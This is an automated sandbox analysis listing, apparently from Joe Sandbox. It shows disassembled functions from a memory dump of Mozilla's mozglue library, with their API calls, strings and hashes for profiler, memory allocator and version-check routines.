Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C4E6500
detoured.dll, xrefs: 6C4E64DA
user32.dll, xrefs: 6C4E6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798
nvdxgiwrap.dll, xrefs: 6C4E6513
_etoured.dll, xrefs: 6C4E64ED

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

MALLOC_OPTIONS, xrefs: 6C4FE3FF
<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC
Compile-time page size does not divide the runtime one., xrefs: 6C4FE621
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5
MOZ_CRASH(), xrefs: 6C4FE62B

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED10
~qMl, xrefs: 6C4FED13

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qMl$~qMl
API String ID: 3693777188-255395400
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

nvinit.dll, xrefs: 6C514479
nvd3d9wrap.dll, xrefs: 6C514466
C>Ql, xrefs: 6C513E93

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-947918438
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10
MOZ_CRASH(), xrefs: 6C4F0CA7

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C525CB6
ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB
data, xrefs: 6C526131
schema, xrefs: 6C52606D
expected a Count entry, xrefs: 6C525AC3
name, xrefs: 6C525E79, 6C525E8F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E789F
DUl, xrefs: 6C4E787F

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl
API String ID: 759993129-1314629681
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

get , xrefs: 6C523205
set , xrefs: 6C5236EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

